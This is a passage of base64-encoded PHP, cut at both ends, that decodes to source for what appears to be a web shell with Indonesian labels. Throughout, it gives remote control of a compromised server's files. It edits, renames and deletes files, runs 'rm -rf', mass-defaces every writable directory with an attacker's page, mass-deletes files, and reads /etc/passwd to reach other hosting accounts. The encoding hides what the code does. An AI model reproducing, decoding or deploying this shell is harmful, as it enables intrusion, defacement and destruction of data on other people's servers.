ZmlsZSl7DQoJCQkJJGZvciA9IEBmd3JpdGUoJGhhbmRsZSwgJGlzaV9maWxlKTsNCgkJCX1lbHNlew0KCQkJCSRmb3IgPSAkaGFuZGxlOw0KCQkJfQ0KCQl9DQoJCWlmICgkZm9yKXsNCgkJCSRzd2EgPSAiU3VjY2VzcyI7DQoJCQkkdGV4dCA9ICJTdWNjZXNzIENyZWF0aW5nIEZpbGUiOw0KCQkJc3dhbGwoJHN3YSwkdGV4dCwkZGlyKTsNCgkJfWVsc2V7DQoJCQkkc3dhID0gIkVycm9yIjsNCgkJCSR0ZXh0ID0gIkZhaWxlZCBUbyBDcmVhdGUgRmlsZSI7DQoJCQlzd2FsbCgkc3dhLCR0ZXh0LCRkaXIpOw0KCQl9DQoJfQ0KfQ0KZnVuY3Rpb24gdmlldygkZGlyLCRmaWxlLCRuZmlsZSwkaW1nZmlsZSl7DQoJZWNobyAnWyA8YSBjbGFzcz0iYWN0aXZlIiBocmVmPSI/ZGlyPScuJGRpci4nJmFrc2k9dmlldyZmaWxlPScuJGZpbGUuJyI+U2VlPC9hPiBdICBbIDxhIGhyZWY9Ij9kaXI9Jy4kZGlyLicmYWtzaT1lZGl0JmZpbGU9Jy4kZmlsZS4nIj5FZGl0PC9hPiBdICBbIDxhIGhyZWY9Ij9kaXI9Jy4kZGlyLicmYWtzaT1yZW5hbWUmZmlsZT0nLiRmaWxlLiciPlJlbmFtZTwvYT4gXSAgWyA8YSBocmVmPSI/ZGlyPScuJGRpci4nJmFrc2k9aGFwdXNmJmZpbGU9Jy4kZmlsZS4nIj5EZWxldGU8L2E+IF0NCgk8aDU+Jy4kaW1nZmlsZS4nIFNlZSBGaWxlIDogJy4kbmZpbGUuJzwvaDU+DQoJPHRleHRhcmVhIHJvd3M9IjEzIiBjbGFzcz0iZm9ybS1jb250cm9sIiBkaXNhYmxlZD0iIj4nLmh0bWxzcGVjaWFsY2hhcnMoQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSkuJzwvdGV4dGFyZWE+PGJyLz4nOw0KfQ0KZnVuY3Rpb24gZWRpdEZpbGUoJGRpciwkZmlsZSwkbmZpbGUsJGltZ2ZpbGUpew0KCWVjaG8gJ1sgPGEgaHJlZj0iP2Rpcj0nLiRkaXIuJyZha3NpPXZpZXcmZmlsZT0nLiRmaWxlLiciPlNlZTwvYT4gXSAgWyA8YSBjbGFzcz0iYWN0aXZlIiBocmVmPSI/ZGlyPScuJGRpci4nJmFrc2k9ZWRpdCZmaWxlPScuJGZpbGUuJyI+RWRpdDwvYT4gXSAgWyA8YSBocmVmPSI/ZGlyPScuJGRpci4nJmFrc2k9cmVuYW1lJmZpbGU9Jy4kZmlsZS4nIj5SZW5hbWU8L2E+IF0gIFsgPGEgaHJlZj0iP2Rpcj0nLiRkaXIuJyZha3NpPWhhcHVzZiZmaWxlPScuJGZpbGUuJyI+RGVsZXRlPC9hPiBdJzsNCgllY2hvICI8Zm9ybSBtZXRob2Q9J1BPU1QnPg0KCQk8aDU+JGltZ2ZpbGUgRWRpdCBGaWxlIDogJG5maWxlPC9oNT4NCgkJPHRleHRhcmVhIHJvd3M9JzEzJyBjbGFzcz0nZm9ybS1jb250cm9sJyBuYW1lPSdpc2knPiIuaHRtbHNwZWNpYWxjaGFycyhAZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKS4iPC90ZXh0YXJlYT48YnIvPg0KCQkJPGJ1dHRvbiB0eXBlPSdzdW1iaXQnIGNsYXNzPSdidG4gYnRuLWluZm8gYnRuLWJsb2NrJyBuYW1lPSdlZGl0X2ZpbGUnPlVwZGF0ZTwvYnV0dG9uPg0KCTwvZm9ybT4iOw0KCWlmKGlzc2V0KCRfUE9TVFsnZWRpdF9maWxlJ10pKXsNCgkJJHVwZHQgPSBmb3BlbigiJGZpbGUiLCAidyIpOw0KCQkkaGFzaWwgPSBmd3JpdGUoJHVwZHQsICRfUE9TVFsnaXNpJ10pOw0KCQlpZiAoJGhhc2lsKXsNCgkJCSRzd2EgPSAiU3VjY2VzcyI7DQoJCQkkdGV4dCA9ICJTdWNjZXNzIFVwZGF0ZSBGaWxlIjsNCgkJCXN3YWxsKCRzd2EsJHRleHQsJGRpcik7DQoJCX1lbHNlew0KCQkJJHN3YSA9ICJFcnJvciI7DQoJCQkkdGV4dCA9ICJGYWlsZWQgVXBkYXRlIEZpbGUiOw0KCQkJc3dhbGwoJHN3YSwkdGV4dCwkZGlyKTsNCgkJfQ0KCX0NCn0NCmZ1bmN0aW9uIHJlbmFtZUZpbGUoJGRpciwkZmlsZSwkbmZpbGUsJGltZ2ZpbGUpew0KCWVjaG8gJ1sgPGEgaHJlZj0iP2Rpcj0nLiRkaXIuJyZha3NpPXZpZXcmZmlsZT0nLiRmaWxlLiciPlNlZTwvYT4gXSAgWyA8YSBocmVmPSI/ZGlyPScuJGRpci4nJmFrc2k9ZWRpdCZmaWxlPScuJGZpbGUuJyI+RWRpdDwvYT4gXSAgWyA8YSBjbGFzcz0iYWN0aXZlIiBocmVmPSI/ZGlyPScuJGRpci4nJmFrc2k9cmVuYW1lJmZpbGU9Jy4kZmlsZS4nIj5SZW5hbWU8L2E+IF0gIFsgPGEgaHJlZj0iP2Rpcj0nLiRkaXIuJyZha3NpPWhhcHVzZiZmaWxlPScuJGZpbGUuJyI+RGVsZXRlPC9hPiBdJzsNCgllY2hvICI8Zm9ybSBtZXRob2Q9J1BPU1QnPg0KCQk8aDU+JGltZ2ZpbGUgUmVuYW1lIEZpbGUgOiAkbmZpbGU8L2g1Pg0KCQk8aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J2Zvcm0tY29udHJvbCcgbmFtZT0nbmFtYW5ldycgcGxhY2Vob2xkZXI9J05ldyBGaWxlIE5hbWUnIHZhbHVlPSckbmZpbGUnPjxici8+DQoJCTxidXR0b24gdHlwZT0nc3VtYml0JyBjbGFzcz0nYnRuIGJ0bi1pbmZvIGJ0bi1ibG9jaycgbmFtZT0ncmVuYW1lX2ZpbGUnPlJlbmFtZTwvYnV0dG9uPg0KCTwvZm9ybT4iOw0KCWlmKGlzc2V0KCRfUE9TVFsncmVuYW1lX2ZpbGUnXSkpew0KCQkkbGFtYSA9ICRmaWxlOw0KCQkkYmFydSA9ICRfUE9TVFsnbmFtYW5ldyddOw0KCQlyZW5hbWUoICRiYXJ1LCAkbGFtYSk7DQoJCWlmKGZpbGVfZXhpc3RzKCRiYXJ1KSl7DQoJCQkkc3dhID0gIlN1Y2Nlc3MiOw0KCQkJJHRleHQgPSAiTmV3ICRiYXJ1IE5hbWUgVXNlZCI7DQoJCQlzd2FsbCgkc3dhLCR0ZXh0LCRkaXIpOw0KCQl9ZWxzZXsNCgkJCWlmKHJlbmFtZSggJGxhbWEsICRiYXJ1KSl7DQoJCQkJJHN3YSA9ICJTdWNjZXNzIjsNCgkJCQkkdGV4dCA9ICJTdWNjZXNzIENoYW5naW5nIG5hbWUgdG8gJGJhcnUiOw0KCQkJCXN3YWxsKCRzd2EsJHRleHQsJGRpcik7DQoJCQl9ZWxzZXsNCgkJCQkkc3dhID0gIkVycm9yIjsNCgkJCQkkdGV4dCA9ICJGYWlsZWQgQ2hhbmdlIE5hbWUiOw0KCQkJCXN3YWxsKCRzd2EsJHRleHQsJGRpcik7DQoJCQl9DQoJCX0NCgl9DQp9DQpmdW5jdGlvbiBoYXB1c0ZpbGUoJGRpciwkZmlsZSwkbmZpbGUpew0KCWVjaG8gJ1sgPGEgaHJlZj0iP2Rpcj0nLiRkaXIuJyZha3NpPXZpZXcmZmlsZT0nLiRmaWxlLiciPlNlZTwvYT4gXSAgWyA8YSBocmVmPSI/ZGlyPScuJGRpci4nJmFrc2k9ZWRpdCZmaWxlPScuJGZpbGUuJyI+RWRpdDwvYT4gXSAgWyA8YSBocmVmPSI/ZGlyPScuJGRpci4nJmFrc2k9cmVuYW1lJmZpbGU9Jy4kZmlsZS4nIj5SZW5hbWU8L2E+IF0gIFsgPGEgY2xhc3M9ImFjdGl2ZSIgaHJlZj0iP2Rpcj0nLiRkaXIuJyZha3NpPWhhcHVzZiZmaWxlPScuJGZpbGUuJyI+RGVsZXRlPC9hPiBdJzsNCgllY2hvICI8ZGl2IGNsYXNzPSdjYXJkIGNhcmQtYm9keSB0ZXh0LWNlbnRlciB0ZXh0LWRhcmsgbWItNCc+DQoJCTxwPkFyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGUgOiAkbmZpbGU8L3A+DQoJCTxmb3JtIG1ldGhvZD0nUE9TVCc+DQoJCQk8YSBjbGFzcz0nYnRuIGJ0bi1kYW5nZXIgYnRuLWJsb2NrJyBocmVmPSc/ZGlyPSRkaXInPkRpc2FncmVlPC9hPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0neWEnIGNsYXNzPSdidG4gYnRuLVN1Y2Nlc3MgYnRuLVN1Y2Nlc3MgYnRuLWJsb2NrJyB2YWx1ZT0nQWdyZWUnPg0KCQk8L2Zvcm0+DQoJPC9kaXY+IjsNCglpZiAoJF9QT1NUWyd5YSddKXsNCgkJaWYgKHVubGluaygkZmlsZSkpew0KCQkJJHN3YSA9ICJTdWNjZXNzIjsNCgkJCSR0ZXh0ID0gIlN1Y2Nlc3MgRGVsZXRpbmcgRmlsZSI7DQoJCQlzd2FsbCgkc3dhLCR0ZXh0LCRkaXIpOw0KCQl9ZWxzZXsNCgkJCSRzd2EgPSAiRXJyb3IiOw0KCQkJJHRleHQgPSAiRmFpbGVkIERlbGV0aW5nIEZpbGUiOw0KCQkJc3dhbGwoJHN3YSwkdGV4dCwkZGlyKTsNCgkJfQ0KCX0NCn0NCmZ1bmN0aW9uIGNobW9kRm9sZGVyKCRkaXIsJG5kaXIpew0KCWVjaG8gIjxmb3JtIG1ldGhvZD0nUE9TVCc+DQoJCTxoNT5DaG1vZCBGb2xkZXIgOiAkbmRpciA8L2g1Pg0KCQk8ZGl2IGNsYXNzPSdmb3JtLWdyb3VwIGlucHV0LWdyb3VwJz4NCgkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwZXJtJyBjbGFzcz0nZm9ybS1jb250cm9sJyB2YWx1ZT0nIi5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9HRVRbJ2RpciddKSksIC00KS4iJz4NCgkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIGNsYXNzPSdidG4gYnRuLWRhbmdlciBmb3JtLWNvbnRyb2wnIHZhbHVlPSdDaG1vZCcgbmFtZT0nY2htbyc+DQoJCTwvZGl2Pg0KCTwvZm9ybT4iOw0KCWlmKGlzc2V0KCRfUE9TVFsnY2htbyddKSl7DQoJCWlmKEBjaG1vZCgkX0dFVFsnZGlyJ10sJF9QT1NUWydwZXJtJ10pKXsNCgkJCWVjaG8gJzxmb250IGNvbG9yPSJsaW1lIj5DaGFuZ2UgUGVybWlzc2lvbiBTdWNjZXNzPC9mb250Pjxici8+JzsNCgkJfWVsc2V7DQoJCQllY2hvICc8Zm9udCBjb2xvcj0id2hpdGUiPkNoYW5nZSBQZXJtaXNzaW9uIEZhaWxlZDwvZm9udD48YnIvPic7DQoJCX0NCgl9DQoJZXhpdDsNCn0NCmZ1bmN0aW9uIGZvckZvbGRlcigkZGlyLCRpbWdmb2wpew0KCWVjaG8gIjxoNT4kaW1nZm9sIENyZWF0ZSBGb2xkZXIgOjwvaDU+DQoJPGZvcm0gbWV0aG9kPSdQT1NUJz4NCgkJPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAnPg0KCQkJPGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmb3JtLWNvbnRyb2wnIG5hbWU9J25hbWFfZm9sZGVyW10nIHBsYWNlaG9sZGVyPSdGb2xkZXIgTmFtZS4uLic+DQoJCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cC1wcmVwZW5kJz4NCgkJCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cC10ZXh0Jz48YSBpZD0nYWRkX2lucHV0MSc+PGkgY2xhc3M9J2ZhIGZhLXBsdXMnPjwvaT48L2E+PC9kaXY+DQoJCQk8L2Rpdj4NCgkJPC9kaXY+PGJyLz4NCgkJPGRpdiBpZD0nb3V0cHV0MSc+PC9kaXY+DQoJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIGNsYXNzPSdidG4gYnRuLWluZm8gYnRuLWJsb2NrJyBuYW1lPSdmb3InIHZhbHVlPSdmb3InPg0KCTwvZm9ybT4iOw0KCWlmIChpc3NldCgkX1BPU1RbJ2ZvciddKSl7DQoJCSRuYW1hID0gJF9QT1NUWyduYW1hX2ZvbGRlciddOw0KCQlmb3JlYWNoICgkbmFtYSBhcyAkbmFtYV9mb2xkZXIpew0KCQkJJGZvbGRlciA9IHByZWdfcmVwbGFjZSgiKFteXHdcc1xkXC1ffiw7OlxbXF1cKFxdLl18W1wuXXsyLH0pIiwgJycsICRuYW1hX2ZvbGRlcik7DQoJCQkkZmQgPSBAbWtkaXIgKCRmb2xkZXIpOw0KCQl9DQoJCWlmICgkZmQpew0KCQkJJHN3YSA9ICJTdWNjZXNzIjsNCgkJCSR0ZXh0ID0gIlN1Y2Nlc3MgQ3JlYXRpbmcgRm9sZGVyIjsNCgkJCXN3YWxsKCRzd2EsJHRleHQsJGRpcik7DQoJCX1lbHNlew0KCQkJJHN3YSA9ICJFcnJvciI7DQoJCQkkdGV4dCA9ICJGYWlsZWQgdG8gQ3JlYXRlIEZvbGRlciI7DQoJCQlzd2FsbCgkc3dhLCR0ZXh0LCRkaXIpOw0KCQl9DQoJfQ0KfQ0KZnVuY3Rpb24gcmVuYW1lRm9sZGVyKCRkaXIsJG5kaXIsJGltZ2ZvbCl7DQoJZWNobyAiWyA8YSBocmVmPSc/ZGlyPSIuJGRpci4iJmFrc2k9cmVuYW1lX2ZvbGRlcicgY2xhc3M9J2FjdGl2ZSc+UmVuYW1lPC9hPiBdICBbIDxhIGhyZWY9Jz9kaXI9Ii4kZGlyLiImYWtzaT1oYXB1c19mb2xkZXInPkRlbGV0ZTwvYT4gXSANCgk8aDU+JGltZ2ZvbCBSZW5hbWUgRm9sZGVyIDogJG5kaXIgPC9oNT4NCgk8Zm9ybSBtZXRob2Q9J1BPU1QnPg0KCQk8aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J2Zvcm0tY29udHJvbCcgbmFtZT0nbmFtYW5ldycgcGxhY2Vob2xkZXI9J01hc3VrYW4gTmFtYSBCYXJ1Li4uJyB2YWx1ZT0nJG5hbWEnPjxici8+DQoJCTxidXR0b24gdHlwZT0nc3VtYml0JyBjbGFzcz0nYnRuIGJ0bi1pbmZvIGJ0bi1ibG9jaycgbmFtZT0nZ2FudGknPkdhbnRpISE8L2J1dHRvbj48YnIvPg0KCTwvZm9ybT4iOw0KCWlmKGlzc2V0KCRfUE9TVFsnZ2FudGknXSkpew0KCQkkYmFydSA9IGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWyduYW1hbmV3J10pOw0KCQkkdWJhaCA9IHJlbmFtZSgkZGlyLCAiIi5kaXJuYW1lKCRkaXIpLiIvIi4kYmFydS4iIik7DQoJCWlmKCR1YmFoKXsNCgkJCSRzd2EgPSAiU3VjY2VzcyI7DQoJCQkkdGV4dCA9ICJTdWNjZXNzIE5hbWUgQ2hhbmdlZCI7DQoJCQkkZGlyID0gZGlybmFtZSgkZGlyKTsNCgkJCXN3YWxsKCRzd2EsJHRleHQsJGRpcik7DQoJCX1lbHNlew0KCQkJJHN3YSA9ICJFcnJvciI7DQoJCQkkdGV4dCA9ICJGYWlsZWQgQ2hhbmdpbmcgTmFtZSI7DQoJCQkkZGlyID0gZGlybmFtZSgkZGlyKTsNCgkJCXN3YWxsKCRzd2EsJHRleHQsJGRpcik7DQoJCX0NCgl9DQoJZXhpdDsNCn0NCmZ1bmN0aW9uIGRlbGV0ZUZvbGRlcigkZGlyLCRuZGlyKXsNCgllY2hvICJbIDxhIGhyZWY9Jz9kaXI9Ii4kZGlyLiImYWtzaT1yZW5hbWVfZm9sZGVyJz5SZW5hbWU8L2E+IF0gIFsgPGEgaHJlZj0nP2Rpcj0iLiRkaXIuIiZha3NpPWhhcHVzX2ZvbGRlcicgY2xhc3M9J2FjdGl2ZSc+RGVsZXRlPC9hPiBdIA0KCTxkaXYgY2xhc3M9J2NhcmQgY2FyZC1ib2R5IHRleHQtY2VudGVyIHRleHQtZGFyayBtYi00Jz4NCgkJPHA+QXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZTogJG5kaXIgPzwvcD4NCgkJPGZvcm0gbWV0aG9kPSdQT1NUJz4NCgkJCTxhIGNsYXNzPSdidG4gYnRuLWRhbmdlciBidG4tYmxvY2snIGhyZWY9Jz9kaXI9Ii5kaXJuYW1lKCRkaXIpLiInPkRpc2FncmVlPC9hPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0neWEnIGNsYXNzPSdidG4gYnRuLVN1Y2Nlc3MgYnRuLWJsb2NrJyB2YWx1ZT0nQWdyZWUnPg0KCQk8L2Zvcm0+DQoJPC9kaXY+PGJyLz4iOw0KCWlmICgkX1BPU1RbJ3lhJ10pew0KCQlpZihpc19kaXIoJGRpcikpew0KCQkJaWYoaXNfd3JpdGFibGUoJGRpcikpew0KCQkJCUBybWRpcigkZGlyKTsNCgkJCQlAZXhlKCJybSAtcmYgJGRpciIpOw0KCQkJCUBleGUoInJtZGlyIC9zIC9xICRkaXIiKTsNCgkJCQkkc3dhID0gIlN1Y2Nlc3MiOw0KCQkJCSR0ZXh0ID0gIkRlbGV0ZSBTdWNjZXNzZnVsbHkiOw0KCQkJCSRkaXIgPSBkaXJuYW1lKCRkaXIpOw0KCQkJCXN3YWxsKCRzd2EsJHRleHQsJGRpcik7DQoJCQl9ZWxzZXsNCgkJCQkkc3dhID0gIkVycm9yIjsNCgkJCQkkdGV4dCA9ICJEZWxldGUgRmFpbGVkIjsNCgkJCQkkZGlyID0gZGlybmFtZSgkZGlyKTsNCgkJCQlzd2FsbCgkc3dhLCR0ZXh0LCRkaXIpOw0KCQkJfQ0KCQl9DQoJfQ0KCWV4aXQ7DQp9DQpmdW5jdGlvbiBha3NpTWFzZGVmKCRkaXIsJGZpbGUsJGltZ2ZvbCwkaW1nZmlsZSl7DQoJZnVuY3Rpb24gdGlwZV9tYXNzYWwoJGRpciwkbmFtYWZpbGUsJGlzaV9zY3JpcHQpew0KCQlpZihpc193cml0YWJsZSgkZGlyKSl7DQoJCQkkZGlyYSA9IHNjYW5kaXIoJGRpcik7DQoJCQlmb3JlYWNoKCRkaXJhIGFzICRkaXJiKXsNCgkJCQkkZGlyYyA9ICIkZGlyLyRkaXJiIjsNCgkJCQkkbG9rYXNpID0gJGRpcmMuJy8nLiRuYW1hZmlsZTsNCgkJCQlpZigkZGlyYiA9PT0gJy4nKXsNCgkJCQkJZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOw0KCQkJCX1lbHNlaWYoJGRpcmIgPT09ICcuLicpew0KCQkJCQlmaWxlX3B1dF9jb250ZW50cygkbG9rYXNpLCAkaXNpX3NjcmlwdCk7DQoJCQkJfWVsc2V7DQoJCQkJCWlmKGlzX2RpcigkZGlyYykpew0KCQkJCQkJaWYoaXNfd3JpdGFibGUoJGRpcmMpKXsNCgkJCQkJCQllY2hvICJEb25lID4gJGxva2FzaVxuIjsNCgkJCQkJCQlmaWxlX3B1dF9jb250ZW50cygkbG9rYXNpLCAkaXNpX3NjcmlwdCk7DQoJCQkJCQkJJG1hc2RlZiA9IHRpcGVfbWFzc2FsKCRkaXJjLCRuYW1hZmlsZSwkaXNpX3NjcmlwdCk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoJZnVuY3Rpb24gdGlwZV9iaWFzYSgkZGlyLCRuYW1hZmlsZSwkaXNpX3NjcmlwdCl7DQoJCWlmKGlzX3dyaXRhYmxlKCRkaXIpKXsNCgkJCSRkaXJhID0gc2NhbmRpcigkZGlyKTsNCgkJCWZvcmVhY2goJGRpcmEgYXMgJGRpcmIpew0KCQkJCSRkaXJjID0gIiRkaXIvJGRpcmIiOw0KCQkJCSRsb2thc2kgPSAkZGlyYy4nLycuJG5hbWFmaWxlOw0KCQkJCWlmKCRkaXJiID09PSAnLicpew0KCQkJCQlmaWxlX3B1dF9jb250ZW50cygkbG9rYXNpLCAkaXNpX3NjcmlwdCk7DQoJCQkJfWVsc2VpZigkZGlyYiA9PT0gJy4uJyl7DQoJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsNCgkJCQl9ZWxzZXsNCgkJCQkJaWYoaXNfZGlyKCRkaXJjKSl7DQoJCQkJCQlpZihpc193cml0YWJsZSgkZGlyYykpew0KCQkJCQkJCWVjaG8gIkRvbmUgPiAkZGlyYi8kbmFtYWZpbGVcbiI7DQoJCQkJCQkJZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KCQkNCglpZigkX1BPU1RbJ3N0YXJ0J10pew0KCQllY2hvICJbIDxhIGhyZWY9Jz9kaXI9JGRpcic+S2VtYmFsaTwvYT4gXQ0KCQk8dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCcgcm93cz0nMTMnIGRpc2FibGVkPScnPiI7DQoJCQlpZigkX1BPU1RbJ3RpcGUnXSA9PSAnbWFoYWwnKXsNCgkJCQl0aXBlX21hc3NhbCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOw0KCQkJfWVsc2VpZigkX1BPU1RbJ3RpcGUnXSA9PSAnbXVyYWgnKXsNCgkJCQl0aXBlX2JpYXNhKCRfUE9TVFsnZF9kaXInXSwgJF9QT1NUWydkX2ZpbGUnXSwgJF9QT1NUWydzY3JpcHQnXSk7DQoJCQl9DQoJCWVjaG8gIjwvdGV4dGFyZWE+PGJyLz4iOw0KCX1lbHNlew0KCQllY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCQkJPGRpdiBjbGFzcz0ndGV4dC1jZW50ZXInPg0KCQkJCTxoNT5UaXBlIDo8L2g1Pg0KCQkJCTxpbnB1dCBpZD0ndG9nZ2xlLW9uJyBjbGFzcz0ndG9nZ2xlIHRvZ2dsZS1sZWZ0JyBuYW1lPSd0aXBlJyB2YWx1ZT0nbXVyYWgnIHR5cGU9J3JhZGlvJyBjaGVja2VkPg0KCQkJCTxsYWJlbCBmb3I9J3RvZ2dsZS1vbicgY2xhc3M9J2J1dG4nPk1haW48L2xhYmVsPg0KCQkJCTxpbnB1dCBpZD0ndG9nZ2xlLW9mZicgY2xhc3M9J3RvZ2dsZSB0b2dnbGUtcmlnaHQnIG5hbWU9J3RpcGUnIHZhbHVlPSdtYWhhbCcgdHlwZT0ncmFkaW8nPg0KCQkJCTxsYWJlbCBmb3I9J3RvZ2dsZS1vZmYnIGNsYXNzPSdidXRuJz5NYXNzPC9sYWJlbD4NCgkJCTwvZGl2PiANCgkJCTxoNT4kaW1nZm9sIExvY2F0aW9uIDo8L2g1Pg0KCQkJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RfZGlyJyB2YWx1ZT0nJGRpcicgY2xhc3M9J2Zvcm0tY29udHJvbCc+PGJyPg0KCQkJPGg1PiRpbWdmaWxlIE5hbWUgb2YgVGhlIEZpbGUgOjwvaDU+DQoJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZF9maWxlJyBwbGFjZWhvbGRlcj0nUHV0IE5hbWUgT2YgRmlsZScgY2xhc3M9J2Zvcm0tY29udHJvbCc+PGJyLz4NCgkJCTxoNT4kaW1nZmlsZSBEZWZhY2UgU2NyaXB0IDo8L2g1Pg0KCQkJPHRleHRhcmVhIG5hbWU9J3NjcmlwdCcgY2xhc3M9J2Zvcm0tY29udHJvbCcgcm93cz0nMTMnIHBsYWNlaG9sZGVyPSdQdXQgWW91ciBEZWZhY2UgUGFnZSc+PC90ZXh0YXJlYT48YnIvPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3RhcnQnIHZhbHVlPSdNYXNzIERlZmFjZScgY2xhc3M9J2J0biBidG4tZGFuZ2VyIGJ0bi1ibG9jayc+DQoJCTwvZm9ybT4iOw0KCX0NCglleGl0Ow0KfQ0KZnVuY3Rpb24gYWtzaU1hc2RlbCgkZGlyLCRmaWxlLCRpbWdmb2wsJGltZ2ZpbGUpew0KCWZ1bmN0aW9uIGhhcHVzX21hc3NhbCgkZGlyLCRuYW1hZmlsZSl7DQoJCWlmKGlzX3dyaXRhYmxlKCRkaXIpKXsNCgkJCSRkaXJhID0gc2NhbmRpcigkZGlyKTsNCgkJCWZvcmVhY2goJGRpcmEgYXMgJGRpcmIpew0KCQkJCSRkaXJjID0gIiRkaXIvJGRpcmIiOw0KCQkJCSRsb2thc2kgPSAkZGlyYy4nLycuJG5hbWFmaWxlOw0KCQkJCWlmKCRkaXJiID09PSAnLicpew0KCQkJCQlpZihmaWxlX2V4aXN0cygiJGRpci8kbmFtYWZpbGUiKSl7DQoJCQkJCQl1bmxpbmsoIiRkaXIvJG5hbWFmaWxlIik7DQoJCQkJCX0NCgkJCQl9ZWxzZWlmKCRkaXJiID09PSAnLi4nKXsNCgkJCQkJaWYoZmlsZV9leGlzdHMoIiIuZGlybmFtZSgkZGlyKS4iLyRuYW1hZmlsZSIpKXsNCgkJCQkJCXVubGluaygiIi5kaXJuYW1lKCRkaXIpLiIvJG5hbWFmaWxlIik7DQoJCQkJCX0NCgkJCQl9ZWxzZXsNCgkJCQkJaWYoaXNfZGlyKCRkaXJjKSl7DQoJCQkJCQlpZihpc193cml0YWJsZSgkZGlyYykpew0KCQkJCQkJCWlmKCRsb2thc2kpew0KCQkJCQkJCQllY2hvICIkbG9rYXNpID4gVGVyaGFwdXNcbiI7DQoJCQkJCQkJCXVubGluaygkbG9rYXNpKTsNCgkJCQkJCQkJJG1hc3NkZWwgPSBoYXB1c19tYXNzYWwoJGRpcmMsJG5hbWFmaWxlKTsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoJaWYoJF9QT1NUWydzdGFydCddKXsNCgkJZWNobyAiWyA8YSBocmVmPSc/ZGlyPSRkaXInPktlbWJhbGk8L2E+IF0NCgkJPHRleHRhcmVhIGNsYXNzPSdmb3JtLWNvbnRyb2wnIHJvd3M9JzEzJyBkaXNhYmxlZD0nJz4iOw0KCQkJaGFwdXNfbWFzc2FsKCRfUE9TVFsnZF9kaXInXSwgJF9QT1NUWydkX2ZpbGUnXSk7DQoJCWVjaG8gIjwvdGV4dGFyZWE+PGJyLz4iOw0KCX1lbHNlew0KCQllY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCQkJPGg1PiRpbWdmb2wgTG9jYXRpb24gOjwvaDU+DQoJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZF9kaXInIHZhbHVlPSckZGlyJyBjbGFzcz0nZm9ybS1jb250cm9sJz48YnIvPg0KCQkJPGg1PiRpbWdmaWxlIE5hbWUgRmlsZSA6PC9oNT4NCgkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkX2ZpbGUnIHBsYWNlaG9sZGVyPSdQdXQgdGhlIEZpbGUgdG8gRGVsZXRlJyBjbGFzcz0nZm9ybS1jb250cm9sJz48YnIvPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3RhcnQnIHZhbHVlPSdTdWJtaXQnIGNsYXNzPSdidG4gYnRuLWRhbmdlciBmb3JtLWNvbnRyb2wnPg0KCTwvZm9ybT4iOw0KCX0NCglleGl0Ow0KfQ0KZnVuY3Rpb24gYWtzaUp1bXAoJGRpciwkZmlsZSwkaXApew0KCSRpID0gMDsNCgllY2hvICI8ZGl2IGNsYXNzPSdjYXJkIGNvbnRhaW5lcic+IjsNCglpZihwcmVnX21hdGNoKCIvaHNwaGVyZS8iLCAkZGlyKSl7DQoJCSR1cmxzID0gZXhwbG9kZSgiXHJcbiIsICRfUE9TVFsndXJsJ10pOw0KCQlpZihpc3NldCgkX1BPU1RbJ2p1bXAnXSkpew0KCQkJZWNobyAiPHByZT4iOw0KCQkJZm9yZWFjaCgkdXJscyBhcyAkdXJsKXsNCgkJCQkkdXJsID0gc3RyX3JlcGxhY2UoYXJyYXkoImh0dHA6Ly8iLCJ3d3cuIiksICIiLCBzdHJ0b2xvd2VyKCR1cmwpKTsNCgkJCQkkZXRjID0gIi9ldGMvcGFzc3dkIjsNCgkJCQkkZiA9IGZvcGVuKCRldGMsInIiKTsNCgkJCQl3aGlsZSgkZ2V0cyA9IGZnZXRzKCRmKSl7DQoJCQkJCSRwZWNhaCA9IGV4cGxvZGUoIjoiLCAkZ2V0cyk7DQoJCQkJCSR1c2VyID0gJHBlY2FoWzBdOw0KCQkJCQkkZGlyX3VzZXIgPSAiL2hzcGhlcmUvbG9jYWwvaG9tZS8kdXNlciI7DQoJCQkJCWlmKGlzX2RpcigkZGlyX3VzZXIpID09PSB0cnVlKXsNCgkJCQkJCSR1cmxfdXNlciA9ICRkaXJfdXNlci4iLyIuJHVybDsNCgkJCQkJCWlmKGlzX3JlYWRhYmxlKCR1cmxfdXNlcikpew0KCQkJCQkJCSRpKys7DQoJCQkJCQ